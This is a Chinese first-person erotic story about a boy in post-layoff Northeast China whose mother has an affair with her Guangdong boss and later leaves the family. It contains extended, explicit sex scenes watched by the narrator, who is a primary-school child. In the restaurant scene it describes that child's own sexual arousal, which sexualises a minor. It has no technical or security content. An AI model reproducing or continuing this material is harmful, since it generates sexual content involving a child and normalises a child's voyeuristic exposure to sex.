世纪之交的东北,是一片被时代列车甩下的锈迹斑斑的站台。
空气里弥漫着铁锈和煤灰的味道,也弥漫着一种无所适从的茫然。
下岗潮像一场无声的暴雪,席卷了整个老工业基地,无数家庭被卷入其中,我家也未能幸免。
一夜之间,我父母都失去了铁饭碗,家里的气氛从往日的稳定安逸,变得沉重而压抑。
那段日子像漫长的凛冬。我爸为了生计,托战友的关系,找了一个开通勤班车的活儿。
这份工作虽然能勉强糊口,却异常辛苦,经常要连续几天在外过夜,把整个家留给我妈和我。
我爸随车过夜的常态,让家中弥漫着一种若有似无的空寂。
他深邃的眼窝里总是布满了红血丝,身上的烟味和疲惫感也越来越浓。
我妈,却像一株不甘在霜冻里枯萎的红梅,决意要寻一个向阳的枝头。
她那时三十出头,正是女人风韵最醇厚的年纪。
下岗前,她是百货大楼化妆品柜台的“一枝花”,是无数男人驻足凝望的风景。
一米七四的个头,挺拔得像一株白桦,身段却又丰腴饱满得恰到好处,她站在化妆品柜台后,就是最活色生香的广告她会打扮,懂得如何用衣饰来装点自己,气质里有种不甘于人后的傲气。
我至今还记得我妈上班时的模样:剪裁得体的浅蓝色小西服,完美勾勒出她惊人的腰臀比,尽显成熟女性的曲线之美。
而那件白色的丝质衬衣,则在胸前饱满地呈现出两座骄傲的山峰,随着她的呼吸和步伐,微微起伏,仿佛有自己的生命一般,充满了诱惑。
蓝色的齐膝短裙紧紧包裹着她浑圆挺翘的臀部,两条修长的大腿被长筒肉色丝袜紧紧缚住,呈现出紧致而圆润的线条,泛着一层柔和的光泽,性感至极。
她踩着一双细高跟鞋,摇曳生姿地走在厂区灰扑扑的马路上。
“笃、笃、笃”,每一步都像踩在男人的心尖上,总能引来无数追随的目光。
那些目光里,有艳羡,有嫉妒,更有炙热的欲望。
下岗后,我妈没像别的女人那样去菜市场卖菜,或是打零工串珠子。
她凭着出众的样貌和口才,在一个广东老板新开的文旅公司找到了工作。
这家公司时常与香港那边接洽,安排一些明星来东北“走穴”演出。
我妈的世界,仿佛一夜之间从黑白电视切换到了彩色频道。
她的穿着打扮也随之“南”化,从原来端庄的职业范儿,跳转到了时髦的港风。
波浪大卷发、宽垫肩的西装、亮闪闪的配饰,让她整个人看起来像画报里走出来的明星,和我那满身机油味儿的爸爸,成了两个世界的人……
我妈公司的老板姓吴,据说来自珠海。
我妈工作后,生活中的一个显着变化就是她经常跟这位吴老板外出应酬,上饭店吃饭。有时我妈也会带着我一起去。
那时候我真的跟着在高档饭店吃了好几顿,那些精致的菜肴和平时家里的饭菜截然不同,让我大开眼界。
“阿琴,来来来,俾你个细路仔试吓呢个菜啦,几好食嘅!”饭桌上吴老板常招呼我多吃点。
他的普通话带着浓重的南方口音,平翘舌不分,把“是”说成
“四”,把“吃”说成ci,听起来软绵绵的,和我爸那种‘咋地’“嗯呐”的硬朗东北腔截然不同。我妈让我喊他吴伯伯。
吴伯伯对我总是和蔼可亲。他年龄比我爸妈都大不少,个子不高,可能不到一米七。
但一双眼睛却炯炯有神,笑起来眯成一条缝,让人觉得既精明又温和。
他和我妈站在一起,对比鲜明。我妈高挑丰满,像一株挺拔的白桦,他身形清瘦,像一棵南方的榕树,被我妈衬得愈发小一号。
“阿琴呐,侬这个样子,真是靓女啦,比那些个香港明星都有味道。”
吴伯伯第一次来我们家做客时夸我妈。
我妈被他夸得脸颊飞起红霞,嘴上却说:“吴老板你快别埋汰我了,都老娘们儿一个,哪儿比得了啊。”,“哎呀,怎么会是埋汰。”吴伯伯笑着摆手。
“是真心夸赞的嘛。阿然,来,伯伯给你带了礼物,看看喜不喜欢?”
他对我极好,每次来家里,都会带些我没见过的稀奇玩意儿——遥控赛车,能弹出画面的小人书,会唱歌的储蓄罐,或者是香港那边才有的巧克力。
我爸不在家的日子,吴伯伯来得越来越勤。
隔三岔五,都能看到他那辆黑色皇冠停在楼下。
我妈会做几个东北的拿手好菜,像小鸡炖蘑菇、猪肉炖粉条,那味道,香味儿能飘满整个楼道。
吴伯伯就笑眯眯地夸赞:“哎呀,阿琴,你做的这个小鸡炖蘑菇,真系好味道啊,比我们广东的菜香多了,真下饭!”,“那是,吴老板,咱东北菜,就是实在!”我妈也乐呵呵地回应。
吃完饭,吴伯伯也不急着走,搬个小板凳,就陪我在那玩。
“阿然仔,这个东西呢,四这酱紫的啦,你要按这里,它就会飞起来咯。”
他说话慢条斯理,尾音微微上扬,听起来软糯又有趣。
我妈在一旁沏茶,语气带着一丝嗔怪:“哎呀吴老板,你别老惯着他,这孩子都让你整野了。”,“哪里的话,靓女。”吴伯伯笑眯眯地看着我妈。
“小孩子嘛,开心最重要啦。再说,你儿子这么聪明,将来肯定有出息。”
一个周末,我爸又出车在外过夜了。
我妈一大早就给我换上新衣服,说:“儿子,今晚吴伯伯要接咱俩去。”
太阳渔港“吃大餐去,可劲儿造,敞开了肚皮吃!”这让我兴奋得直搓手。
下午大概五点光景,楼下传来一阵喇叭声,黑色的皇冠轿车停在了我们单元楼下,吴伯伯果然来了。
他一见面,就笑呵呵地递给我一个包装精美的盒子。
“阿然,来,看看吴伯伯给你带了什么好东西?”
我接过来一看,竟然是当时风靡一时的小霸王游戏机!
我高兴得差点跳起来,连忙对他道谢。吴伯伯笑着摸了摸我的头。
“喜欢就好啦……”
我妈在一旁笑着说:“哎呀,吴老板,你咋又破费,老带这些个玩意儿,太客气了!快进屋,外头冷嗖嗖的。”
吴伯伯摆摆手:“哎呀,阿琴妹子,莫要客气啦,给小孩子的一点心意嘛。”
进屋后他搓着手,说:“依度天气真系冻到痹啊,冻到我入骨啊!”
我妈一边给他倒热茶,一边笑着说:“那是,吴老板,咱东北冬天就这嘎达冷,跟冰窖似的!不像你们广东,一年到头都湿乎乎的,也没个痛快劲儿。来,吴老板,赶紧喝点热茶,暖暖身子。”
吴伯伯陪着我玩游戏机,我妈进房间打扮。
我依稀听到了她梳妆台发出的细微声响,闻到了她常用的香水味,那是一种混合着花香和成熟女性魅力的独特味道。
等了许久,终于,房间门“吱呀”一声打开,我妈从里面款款走出。
那一刻,我感觉整个客厅都亮了起来,甚至连吴伯伯的笑容都凝固在了脸上。
我妈黑亮的长发如瀑布般披散在肩头,一袭纯白的女式西服套装,将她包裹得像一件精美的艺术品。
那白色像雪,又像月光,纯粹得不染一丝尘埃,衬得她宛如一尊即将被请上神坛的白玉观音,圣洁中透着令人目眩的妩媚。
胸前一串温润的珍珠项链,恰到好处地落在她高耸的胸脯之间,更衬托出肌肤的雪白。
内里那件红色的真丝衬衣,薄如蝉翼,紧紧贴合着她丰满的胸部,深V的领口大胆地敞开,隐约可见深邃的乳沟,勾勒出的轮廓像两座挺拔的山峰。
随着她轻盈的步伐,那胸脯微微颤动,仿佛在向世界展示它的骄傲。
西装上装在腰部做了极度收窄的设计,将她的纤腰束成一道优美的弧线,而那硕大浑圆的臀部,在紧绷的短裙包裹下,形成了一种惊心动魄的视觉冲击力。
那短裙的下摆只堪堪到达大腿中部,露出的圆润修长的美腿笼罩在薄薄的白色高筒丝袜中,闪耀着象牙般的光泽。
脚上那双银色细高跟鞋,更是将她的气场提升到了极致,艳光四射,火力全开。
吴伯伯的眼神像被磁石吸住了一样,直勾勾地盯着我我妈,喉结上下滚动了一下,说:“哎呀,阿琴,你今天好靓女咯,真是……真是晃得我眼睛都睁不开啦。”
我妈的脸颊飞上一抹绯红,像晚霞染上了雪山尖。
她娇嗔地白了他一眼:“吴老板,你可别埋汰我了!瞅你那德行,多大岁数了还贫呢!”
吴伯伯摊了摊手:“阿琴啊,你咁讲就真系冤枉我啦!我讲嘅都系真心话嚟㗎!你今日真系……唉,你看下我呢条死人口啊,总之就系好靓女啊嘛!吴老板咁样叫,听起身好生疏嘅,叫我吴哥啦。或者……叫老吴都得㗎,你话事咯。”
出门时,我妈抬手去取挂在衣架的黑色呢子大衣,手里的钥匙突然啪嗒一声掉在地上。
她弯腰去捡钥匙,那个动作让原本就短的包臀裙更是向上缩了一截,大腿根部的一抹红色一闪而过。
跟在她身后的吴伯伯,不自然地清了清嗓子,我瞥见他西裤的裆部,尴尬地支起了一个小帐篷。
“太阳渔港”的包厢里金碧辉煌,水晶吊灯像融化的蜜糖一样垂下来。
光线暖黄,热气氤氲。我一边品尝美味,一边攻略游戏机,忙得不亦乐乎。
一不留神,我的筷子“啪嗒”一声掉到了地上。
当我弯腰去捡时,眼前的景象让我瞬间屏住了呼吸——在桌布的遮掩下,吴伯伯黑瘦的手,像一条灵活的蛇,正隔着那层近乎透明的白色丝袜,在我妈丰腴光滑的大腿上缓缓游走。
他的指尖,隔着薄薄的绢网,轻柔地摩挲着,仿佛在鉴赏一件无价的瓷器,又像在试探一座沉睡的火山。
我妈的腿似乎微微绷紧,却没有躲闪。
她脚下的银色高跟鞋,将足弓高高撑起,使得小腿的优美弧线绷得极紧,向上延伸的腿部更是丰腴诱人。
那腿被一层朦胧的白色长筒丝袜紧密包裹,丰腴的曲线在丝袜的束缚下更显饱满。
轻薄的丝袜,本是肌肤与外界的柔和屏障,此刻却成了欲望的透明帷幔,勾勒出大腿圆润的弧度与绷紧的肉感。
我匆匆捡起筷子坐回座位上,心跳如鼓,脸上发烫。
桌面上,吴伯伯明显喝多了,脸上泛着油光,眼神直勾勾地盯着我妈。
我妈也喝了不少酒,面颊泛着桃花般的酡红。
她神色自若,巧笑嫣然地和吴伯伯聊着某个香港明星的演出档期,仿佛那只在她腿上不安分游走的手,与她毫无关系。
酒过三巡,吴伯伯的南方口音愈发黏糊,眼神也变得更加灼热。
空气中,暧昧的气息仿佛被加了温的酒,浓烈得几乎要滴下来。
“阿琴啊,听日我哋去ShoppingMall行吓街,我买件貂皮大褛俾你!你哋东北嘅女人,着貂皮先至够气派啊嘛!”
吴伯伯豪爽地笑着,竟当着我的面,一把将我妈的肩膀搂过去,紧紧贴在自己怀里。
我妈瞥了我一眼,象征性地在他怀里扭动了一下,声音娇嗔:“吴哥,别这样……我带儿子来的,孩子还搁这儿呢!”,“你老公在我都不怕的啦!”吴伯伯哈哈大笑,把脸埋在我妈的颈窝使劲蹭,像一头拱食的狗,然后响亮地亲了一口。
接着,他抬起头,那双被酒精染红的眼睛,挑衅地盯着我,眼神里带着一种难以言说的得意和炫耀,仿佛在无声地宣告:看,你的漂亮妈妈,我要定了。
我妈先是娇嗔地拍了他一下,脸上红霞更盛,但随即却又露出一丝纵容的笑意,她瞥了我一眼,说:“老不正经的,这么大人了还闹!也不怕孩子笑话!”
那一瞬间,一股混杂着屈辱、愤怒和一丝病态兴奋的热流猛地冲上我的头顶,我感到裤裆里的家伙不受控制地硬了起来,火烧火燎的,这种感觉既陌生又羞耻,却又带着一丝难以抑制的燥热。
随后我看到吴伯伯的手不安分地从我妈的肩膀滑下,像丈量领地一般,向下抚过她柔软的腰肢,忽又抬起,隔着薄薄的衣料,直接握住了那豪乳的外侧。
胸腔内有一股无名火在烧,鬼使神差地,我猛地站了起来,端起面前的果汁,大声说:“吴伯伯,谢谢您的游戏机和这顿大餐,我敬您一杯!”
我的声音因为紧张和激动有些发颤。
这突兀的举动让两个大人都愣住了。
我妈疑惑地看了我一眼,眼神复杂,她随即接过话茬,柔声说:“哎呀,我家小然长大了,懂事了。来,吴哥,我陪儿子一起敬你。”
吴伯伯随即也恢复了那副笑眯眯的招牌模样,端起酒杯,笑道:“哎哟,阿然懂事咗喔,来,伯伯和你喝一杯,祝你学业进步,前途无量!”
酒杯碰撞之后,我看见我妈胸前,那红色真丝衬衣下,清晰地立起了两粒小小的凸点,像两颗被夜露打湿的浆果。
她迎上我的目光,眼神复杂,有羞赧,有警告,也有一丝不易察觉的放纵。
然后她转过头,竟主动把头靠在了吴伯伯的肩上,在他带着酒气的腮帮子上亲了一下,那双流转的眼波,却始终在我的脸上打转,仿佛在丈量着我理解的界限。
饭后,吴伯伯的司机张叔叔来了。
他一进门,就几乎把门口给堵住了——那是一个二十多岁的壮小伙,身高足有一米九,肩膀宽阔得像堵墙,一双胳膊肌肉虬结,比我的大腿还要粗上一圈。
我妈弯下腰,轻轻摸着我的头,用带着酒气的软糯声音对我说:“儿子,妈跟吴伯伯这头儿还有点儿公事儿要唠,你呀,就让张叔叔先送回家,听话啊。”
回家的路上,车里很安静。
张叔叔从后视镜里看了看我,咧嘴一笑,说:“小然啊,你妈今晚估计得后半夜才能回去了。你小子别等了,自己早点睡吧。”
我忍不住问:“张叔叔,我妈他们要谈啥公事啊?这么晚……”
张叔叔只是透过后视镜对我神秘地笑了笑,没再说话。
那天晚上,我一直没睡着,耳朵一直竖着。
直到深夜,我才听到钥匙开门的轻响。
我偷偷掀开一条门缝,借着门缝的光,我看到我妈脱下高跟鞋,轻手轻脚进了屋。
她腿上那双惹眼的白丝袜已经不见了。
她径直走进卫生间,水声哗啦啦地响了很久……
她睡下后,我去卫生间小便,看到洗衣机上搭着她换下的衣物。
那条红色蕾丝内裤,裆部有一大片黏稠的、尚未完全干涸的乳白色痕迹,散发着一股陌生的、混杂着香水和体液的腥膻气息,在昏暗的灯光下显得格外刺眼。
那一刻,一种难以言喻的异样感,在我幼小的心灵里生根发芽。
真正的冲击,发生在一个我提前放学的下午。
家里静悄悄的,我爸妈的房间却传来一阵奇怪的、富有节奏的响动,夹杂着细碎的喘息和呻吟。
我好奇地凑过去,透过门缝往里瞧。
只一眼,我的心脏瞬间像被一只无形的手攥紧了。
夕阳的余晖透过窗纱,斑驳地洒在房间中央,照亮了那令人震惊的一幕。
我妈,那个昔日里端庄优雅的柜姐,此刻正跪伏在洁白的床上,曲线玲珑的背影泛着一层金色的绒边。
那件白色的丝质睡衣,此刻如蜕去的蝶衣,半敞半落,露出大半个泛着珍珠般光泽的、光洁无瑕的背部。
而那对平日里被内衣精心托举的丰乳,此刻也挣脱了束缚,从解开的睡衣里沉甸甸地悬垂出来,仿佛两枚熟透的大白桃。
随着身体的起伏而摇曳着,划出惊心动魄的弧线,凸起的乳头在光线中晕染出深褐色的光晕……
睡衣的下摆被撩到腰间,露出了那在我记忆中从未被如此彻底展现过的雪白的、光溜溜的大屁股。
丰满到极致的臀部浑圆饱满,像两瓣完美无瑕的蜜瓜,此刻高高翘起,在光影中勾勒出诱人的弧线,如同一座被征服的雪山。
而我妈身后,是全身赤裸的吴伯伯。
那个总是带着和蔼笑容,给我买好吃的高档糖果,我妈让我亲昵喊着“吴伯伯”的男人。
此刻正一丝不挂地跪立着,双手紧紧箍着我妈那高高撅起的、浑圆肥美的臀部,下身正进行着不紧不慢却极有规律的撞击……
每一次深入,都让我妈的臀肉颤动着,激起一阵阵涟漪,从腰际一直绵延到大腿根部,并从她喉咙里逼出一丝细碎而绵长的、既痛苦又欢愉的呻吟,令人心旌摇曳……
吴伯伯的体型明显比我妈小一圈,瘦小的身躯与我妈健美的体态形成了强烈的反差。
然而此刻他却以一种征服者的姿态,稳稳地驾驭着身下这匹丰腴的“东北母马”。
我妈的脸埋在枕头里,只能看到她泛红的耳廓和紧绷的脖颈,黑亮的长发铺散在枕头上,像一张被揉皱的黑色丝绸。
她双腿岔开,身体像一张被拉满的弓,承受着来自身后一次又一次的撞击,那是一种原始的、野蛮的力量。
她的喉咙里,压抑着一丝破碎的呜咽,像是痛苦,又像是欢愉。
两人的下体紧密地连接在一起,发出“噗嗤噗嗤”的黏腻声响,清晰地回荡在房间里。
黝黑的阴茎每次连根没入莹白腿根中央那饱胀濡湿的肉穴,那处被情欲染红的柔软褶皱也随之翕动,每一次深入,都伴随着我妈一声压抑不住的呻吟,与吴伯伯粗重的喘息交织在一起,如同暴风雨前的雷鸣。
眼前的一幕让我震惊得大脑一片空白,羞耻和刺激如同藤蔓般缠绕着我,是该逃离还是面对?
就在我不知所措之际,我妈突然仰起头,像受伤的天鹅,修长的脖颈崩得笔直,断断续续地说:“吴哥……再……再快点……要死了……快到了……”
吴伯伯喘着粗气,声音低沉沙哑:“顶住啊靓女!很快就好!给你最劲嘅!”
他弓下腰,精瘦的身体紧贴着我妈光洁的后背,形成鲜明的视觉冲击。
他的双手牢牢抓着我妈饱满的胸乳,像是骑师抓着缰绳,进行最后的冲刺。
他削瘦的指节因为过度用力而泛白,雪白的乳肉在黝黑的指尖丰盈地溢出,更显诱惑。
我妈贝齿紧咬下唇,一缕散乱的头发沾湿脸颊,她身体伏低,用小臂支撑着颤抖的身体,手肘死死抵住床面,高高撅起的丰臀随着吴伯伯的猛烈冲击而摇曳她唇边逸出的呻吟,从压抑到如潮汐般涌起,那是被征服的愉悦与痛苦交织的低语,像夏日雷雨前的闷雷,又像冬日炉火的轻叹,复杂而迷人。
吴伯伯喉咙里发出含混不清的低吼,像一头野兽在宣示领地。
他瘦削的屁股上,一条陈年的、像是烫伤的深色疤痕。
此刻随着他的挺动,这条疤痕也跟着皮肤拉伸而扭曲,显得格外狰狞。
他腰部挺动的频率如同发情的公狗,每一击都带着原始的蛮力,阴茎几乎撞出了残影。
撞击间,他那皱巴巴的卵袋,重重抽打着我妈那张合不拢的、淌着淫水的阴门,发出刺耳的啪啪声。
空气中,弥漫着浓烈的荷尔蒙气息,混合着汗水的咸腥和情欲的甜腻,令人窒息,也令人沉沦。
“啊……吴哥……轻点儿……啊……要……要出来了……”
我妈的指尖在洁白的床单上凌乱地抓挠着,留下深深的褶皱。
她的脚趾也紧紧蜷缩着,身体紧绷如满弓,充满了极致的张力。
但又像被无形的力量牵引着,依然控制不住地朝后耸动,迎合着身后吴伯伯的每一次冲击。
随着撞击越来越猛烈,她口中发出的呻吟也越来越高亢,与吴伯伯喉间含混不清的低吼融为一体,如同合奏一曲狂野而奔放的激情交响,令人心旌摇曳。
吴伯伯突然痉挛了一下,瘦削的身体扭曲成一个怪异的弧度,干瘪的臀部也随之剧烈抖动。
他双目紧闭,鼻翼翕动,额头上渗出细密的汗珠,发出一声竭力的低吼:“顶唔顺啦!要射啦!正啊!”,“哎呀,妈呀!出来了……”
我妈尖叫一声,身体也如同触电般剧烈地颤抖起来,一股液体猛烈地从紧密结合的部位喷涌而出,激射在洁白的床单上,晕染开几块迅速蔓延的透明水渍。
紧紧趴在她后背上、双手像生了根一样紧抓着丰乳的吴伯伯也跟着这股冲击颠簸了几下,然后随着力气的流逝,我妈像一朵被暴风雨滋润过的花朵,娇艳而疲惫地瘫软在床上,四肢无力地摊开,双腿也大张着,露出隐秘的风景。
平日里,这片风景总是被各种惹眼的短裙遮掩着,引得无数男人暗自垂涎,却始终无法得见真容。
而现在,它却毫无保留地暴露在我的眼前。
肿胀的阴唇外翻着,像是被雨水打湿的玫瑰花瓣,还挂着拉丝般的白色液体,呈现出一种熟透的蜜桃般的粉红色,吴伯伯那根丑陋的、带着青筋的阳物,像一把钥匙,死死地卡在她的身体里,仿佛在宣告着占有和征服。
她丰腴而健美的身体,与压在她背上那个瘦小黝黑的男人形成了鲜明的对比,像一副比例失调的画作,突兀又怪诞高潮过后,我妈的头深深地埋在枕头里,长长的黑发凌乱地散开,遮住了她大半张脸,只露出雪白的脖颈。
吴伯伯的一只手不舍地放开了她的乳房,转而轻柔地抚摸着她的后颈,低声呼唤着她。
我妈缓缓地回过头来,几缕被汗水浸湿的发丝,黏在她泛着红晕的脸颊上,更衬托出她眼神的迷离和慵懒。
那一瞬间,我仿佛看到了一个完全陌生的人。
平日里,她总是打扮得明艳动人,脸上永远挂着得体的微笑,让男人觉得端庄而遥不可及。
而此刻,她的脸颊泛着娇艳的潮红,眼神迷离而空洞,嘴角还带着一丝未褪的笑意,整个人都散发着一种前所未见的娇媚和颓靡。
这模样竟然美得惊心动魄,让我感到既陌生又震惊。
吴伯伯伸出手,轻轻地拨开我妈额前的碎发,轻声赞叹道:“阿琴,你真系靓到爆灯啊,搞到我心都酥晒啦。”
我妈笑着轻轻反手捶了他一下,带着一丝娇羞地说道:“就会贫!一天天就会哄我!不过说真的,吴哥,你那东西……可真是要人命,硬邦邦的,烫得吓人,跟烧红的小铁棍似的,每次都把我弄的死去活来。”
她的声音里带着一丝娇嗔,一丝甜蜜,和一丝难以言说的情欲。
吴伯伯嘴角禽着一抹得意的微笑,说:“哎呦,阿琴,你咁讲,我真系好开心呀。不过,我都要问清楚,你讲你咯,我同你屋企那个,比起来,边个先可以令你……舒服少许呢?”
我妈脸上的红晕更深了,她娇嗔地白了吴伯伯一眼,用手轻轻拧了他一下,嗔怪道:“哎呀,你这老不正经的,真是的,这让人家怎么说啊!”
吴伯伯坏笑着,轻轻揉捏着我妈丰满的乳房,那饱满的弧线在他手中微微变形,更显诱人,他追问道:“哎,你唔好怕丑,讲嚟听下,满足下我嘅虚荣心嘛!”
吴伯伯作怪的手让我妈不由自主地发出一声轻吟,身体也微微颤抖了一下。
她咬了咬嘴唇,娇嗔中带着几分认真:“哎呦,吴哥,你真是的……说真的,你块头没我家那口子大,家伙什儿也小一些。不过你比他硬,也经用,知道咋稀罕人,跟着你,那才是真叫人舒坦!”
听我妈这么说,吴伯伯忍不住探头去亲我妈,第一下尝试居然没有够着,显得有些笨拙。
我妈被他的举动逗乐了,扑哧一声笑了出来,那笑容如同春风拂柳,娇媚动人,眼波流转间,更是风情万种。
她反手伸出修长的手臂,主动勾住了吴伯伯的脖子,眼神中充满了爱意,天鹅般的脖颈也随之优雅地后仰,红唇微张,主动迎上了他那索吻的嘴唇。
两人交颈吻在一起,我妈陶醉地闭上眼睛,长长的睫毛微微颤抖,甚至还调皮地吐出舌尖。
吴伯伯迫不及待地吮吸着她的舌尖,发出“啧啧”的响亮水声,仿佛在品尝世间最美味的佳肴。
与此同时,两人的下体仍然紧紧结合,随着吴伯伯的动作,他的阴茎在我妈体内不安分地搅动,仿佛在寻找着更深处的甜蜜,使得接吻中的我妈发出含混的呢喃,娇媚动人。
我无法挪开视线,如同被钉在了原地。
那声音,那画面,像一剂毒药,腐蚀着我原本纯洁的心灵,让我在震惊、羞耻和困惑中,无所适从。
我的心跳得很快,脸也有些发烫,我呆呆地站在那里窥视着他们,直到双腿开始发麻,这才如梦初醒般,小心翼翼地挪动脚步,尽量不发出任何声音,悄无声息地离开了门口……
从那以后,我总觉得家里弥漫着一种说不清道不明的压抑。
父母之间的关系似乎也变得越来越疏远,他们会因为一些鸡毛蒜皮的小事争吵,语气也变得越来越尖锐。
我爸会因为我妈穿了一件亮色的紧身裙而怒吼:“穿得跟个小妖精似的,打扮给谁看呢!”
我妈则会毫不示弱地回击:“你管得着吗!挣不来钱还不让我打扮了?”
每当这时,我爸总是默默地坐在沙发上,猛抽香烟,烟雾模糊了他疲惫无奈的脸。
而我妈则回屋对着镜子,一遍又一遍地涂抹着鲜艳的口红,炽烈的红色与她眼中那抹挥之不去的落寞形成了鲜明的对比。
家里的空气似乎到了夜晚会变得更加凝滞,连窗外的虫鸣都透着几分小心翼翼。
一个夏夜,我睡下后又渴醒,便轻手轻脚地去厨房喝水。
回房时经过父母门口,老旧的房门不隔音,隐隐约约地,我听见我爸带着几分讨好的沙哑声音:“老婆,咱们多久没好好说说话了?今天我好不容易轮休……”
话没说完,就被我妈不耐烦地打断:“说啥说?我刚敷上面膜,别碰我。”
紧接着是布料摩擦的窸窣声,似乎我爸伸手想去拉我妈,又被她猛地躲开。
“老婆,我……”
“你这是干哈呢?”我妈的声音带着冷冷的抗拒。
“我累了一天,想早点睡,你别来烦我。”‘我就是想……想和你亲近亲近。’我爸的声音低了下去,带着点委屈。“咱们以前不都这样吗?”
“以前是以前,现在是现在。”
我妈的语气没有丝毫松动,门内传来了被子被掀开又重重拉上的声响。
“你身上一股烟味和汗味,难闻死了,离我远点。”
我能想象出我爸僵在原地的样子,过了几秒,才听见他轻轻叹了口气,声音里满是失落:“我知道你嫌我没本事,挣不到大钱,可我也尽力了啊……”,“少说这些没用的。”
我妈打断他,语气里带着一丝烦躁。
“要么你就去洗澡,要么你就去客厅沙发上睡,别在这儿碍眼。”
又是一阵沉默,只有我爸沉重的呼吸声,过了好一会儿,才传来他起身的脚步声。
我吓得赶紧躲进自己房间,门缝里窥见我爸低着头走出来,手里还拿着一个毯子。
他没有开灯,摸索着走到客厅沙发边躺下……
而吴伯伯来我家的次数越来越频繁,有时父亲前脚刚开着班车走,后脚黑色皇冠就悄无声息地停在了楼下。
我妈会说:“小然,吴伯伯来谈工作,你自个儿回屋写作业去。”
她说话时语气比平时轻快些,眼角带着一丝笑意。
我听话地拿着吴伯伯送的礼物回房间,随后总能听见客厅传来他们断断续续的笑声,和平时家里的沉默压抑截然不同……
更让我觉得奇怪的是,后来我发现只要爸爸要出长途车、晚上不回家,我妈一早就会叮嘱我:“小然,今天下午放学别直接回家,去姥姥家待着,想吃什么就让姥姥给你做,我晚上过去接你。”
她一边说一边往我书包里塞花花绿绿的零食,眼神闪烁,话语的温柔里带着点刻意。
我问她为什么,她就皱着眉摆手:“小孩子问那么多干什么,让你去你就去。”
有时她甚至不再提“晚上接我”的话,直接让我在姥姥家过夜。
更让我心里犯嘀咕的是,第二天一早准能看见吴伯伯的司机张叔叔,开着那辆熟悉的黑色皇冠等在姥姥家胡同口。
他总是笑着冲我招手:“小然,上车!我送你去学校……”
坐进车里,看着张叔叔熟练地打着方向盘,我有时会忍不住问他:“张叔叔,我妈呢?”
“你妈啊,跟吴老板去谈生意了。”
张叔叔一边盯着前方的路况,一边平淡地回答。
在后视镜中,我捕捉到了他嘴角若有若无的笑意,似乎这个问题很好笑。
我转过头盯着窗外飞速倒退的街景,心里的疑团像一团越缠越紧的线。
后来,我和张叔叔渐渐熟络起来,得知他竟然是特种兵退伍,难怪身材那么壮实,举手投足间都带着一股干练劲儿。
那天,他送我去学校,车子缓缓地行驶在熟悉的街道上,透过后视镜,我看到他犹豫了一下,欲言又止。
最终他叹了口气,眼神复杂地看了我一眼,缓缓开口道:“小然,有些事,你可能也该知道了……”
他告诉我,吴老板在市里最高档的西塘大酒店长期包着一个套房,那是他的“行宫”,而我妈,则是那里的常客。
张叔叔现在虽然退伍了,但他对周遭环境的敏锐感知,让他成了许多秘密的无声见证者。
那一刻,我终于明白,为什么我妈总会找各种理由,让我放学后去姥姥家住。
原来,那些她夜不归宿的晚上,并不是在为公司加班。
我小学还没毕业,家庭的裂痕就已触目惊心。
最终,我妈决定追随吴伯伯,远赴广东的总公司。
她说,那边机会多,能挣钱。我央求我妈不要走,试图让我爸阻止她,但一切都无济于事。
我记得,她离开的那天,盘着一丝不苟的发髻,妆容精致,耳后别着小巧的珍珠耳钉,脸上却看不出任何表情。
她身上穿着那件新买的米白色风衣,风衣的长度刚及膝盖,腰间系着一条同色系的宽腰带,腰带在侧腰处打了个结,将她本就纤细的腰肢收拢得更紧,也将硕乳丰臀勾勒得愈发玲珑有致。
风衣下摆随着她的动作轻轻摇曳,露出一截裹着肉色丝袜的纤细小腿。
脚上的一双银色的细跟高跟鞋,衬得她的身材愈发高挑挺拔。
我觉得她像一个要去参加盛宴的女王,高贵而又遥不可及……
我呆呆地看着她,不知道该说什么,只觉得心里空落落的,好像要失去什么重要的东西……
我妈朝我俯下身,耳钉泛着亮光,一股淡淡的栀子花香水味扑面而来,萦绕在我鼻尖。
她的手指带着微凉的触感,混着护手霜的香气,轻轻将我翻卷的衣领抚平,又仔细将领口对齐,柔声对我说:“儿子,妈去那边给你挣大钱,你在家好好念书,听你爸的话。”爸爸没搭腔,只是闷头坐在沙发上,默默地抽着烟我站在窗边,紧紧扒着冰凉的窗户,目送我妈拉着行李箱。
“哒哒哒”,高跟鞋敲击着地面,一步一步走向楼下那辆停了许久的黑色皇冠,司机张叔叔下车快步迎上前,接过她手里的手提箱,又殷勤地为她拉开了后座车门。
车门打开的瞬间,阴影恰好落在后座上,我眯着眼睛看,只隐约瞥见后座上似乎坐着一个人紧接着我妈弯下腰,裹着肉色丝袜的腿一抬,坐进了车里。
那辆黑色皇冠的引擎发出低沉的轰鸣,车尾瞬间喷出一股淡淡的灰白尾气,轮胎碾过地面,带着毫不迟疑的冲劲向前滑去,速度越来越快,车尾灯最终拐过街角彻底消失。
尾气的味道顺着风飘上楼来,混着尘土的气息,呛得我鼻子发酸,眼睛也开始模糊……
我妈像一只终于挣脱了北方寒冬的候鸟,义无反顾地飞向了那个温暖富庶的南方。
阳光似乎也被她带走了一丝暖意。我和我爸像两件被遗忘的行李,被留在了这片冰冷的黑土地上。
南方的风,从此通过信件和照片吹到我的世界里。
最初的那段时间,我妈经常会从遥远的广东写信回来,信纸上带着一股淡淡的南方特有的潮湿气息,仿佛也带着她的味道。
收到第一封信的时候,我激动得手都有些颤抖。
随信有时还会夹带着一些她的照片,照片上的妈妈笑容更加灿烂,穿着打扮也越发时髦,背景是南方郁郁葱葱的树木和鳞次栉比的高楼大厦,与我们东北的萧索形成了鲜明对比……
她还会时不时地邮寄一些香港的零食、玩具或是杂志回来,那些新奇的物品寄托着她对我的思念,也让我对那个遥远而繁华的南方世界充满了想象。
另外,她还会定期打钱回来,每次都比我爸一个月的工资还多。
我爸拿着那些钱,眉头紧锁,眼神难以言喻。
他默默地走到窗边,一根接着一根地抽着烟,烟雾模糊了他疲惫的面容……
我上初中那年的暑假,我爸出车祸了。
通勤班车刹车失灵,翻进了沟里,他摔断了一条腿,在医院里躺着。
祸不单行,平日里帮忙照看我的姥姥也患上了伤风。
于是,我妈像一阵风似的从广东刮了回来。
她瘦了些,但妆容更精致了,身上有种淡淡的香水味,比从前那种栀子花香,香气更清冽,有一种说不清的疏离感。
让我意外的是,吴伯伯也跟了回来,他说“正好”这边有业务要谈。
我妈一到医院,就雷厉风行地找关系,把我爸从六人间的普通病房,换到了单人套间,说是方便照顾。
吴伯伯探望后就告辞离去。我爸躺在病床上,看着忙前忙后的我妈,眼神复杂。
他低声问我妈:“哪来这么大本事?”我妈瞥了他一眼,淡淡地说:“吴总帮的忙……”我爸没再说话,只是把头扭向了一边。
接下来的一段日子,我妈一直留在医院照顾我爸。
